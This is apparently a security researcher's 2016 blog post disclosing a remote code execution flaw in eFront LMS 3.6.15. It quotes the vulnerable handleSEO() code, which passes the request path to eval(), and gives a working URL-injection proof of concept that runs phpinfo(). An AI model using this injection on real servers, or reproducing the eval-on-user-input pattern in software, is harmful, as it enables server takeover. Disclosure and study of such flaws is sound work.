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eFront 3.6.15 Code Execution

Posted on 07 November 2016

TL,DR; A friend reminded me a couple of days ago to publish something, since its been a while last I published a post. so this is going to be a short post about an interesting-ish RCE found in all versions of eFront LMS - unfortunately, since the report have passed 90 days since initial report, I am publishing it. I will update this post if a patch for the bug is out.

The reason I have been away from the internet is because of the internet blockage in Ethiopia caused by the State of Emergency & its consequences facing you if you don't follow it, I am currently in a neighboring country so I am not technically disrespecting any laws.

In /efront/libraries/globals.php:

The following handleSEO() function is the one causing the code execution. it looks like the following:

function handleSEO() {
if (!$GLOBALS['configuration']['seo'] && $_SERVER['PATH_INFO']) {
$parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));
for ($i = 0; $i < sizeof($parts); $i+=2) {
eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');
}
//unset($parts);unset($i);
foreach (get_defined_vars() as $key => $value) {
$_GET[$key] = $value;
}
}
}

Because of their assumption that $_SERVER['PATH_INFO'] isn't user controllable, they sent it stright to eval(), causing the code execution.

Final PoC: https://localhost/efonrt/libraries/globals.php/hack/x%22%3Beval(phpinfo())%3B%24t%3D%22pwnd
Decoded:
https://localhost/efonrt/libraries/globals.php/hack/x";eval(phpinfo());$t="pwnd
visiting the above link will get phpinfo() executed.

Breaking it down:
$parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));
for ($i = 0; $i < sizeof($parts); $i+=2) {
eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');
}

Because of that specific code, we send in /globals.php/hack/x, which will become:
$hack="x

But because php already executed the code, doing a comment (/*..*/) wont work and will crash it, so we will just tamper the variables like x";eval(phpinfo());$t="pwnd

This will endup creating:

$hack = "x";eval(phpinfo());$t="pwnd";

This is then interpreted as:

eval($hack = "x";eval(phpinfo());$t="pwnd";);

And Boom! We got our code executed!

Hope you enjoyed the read!

 

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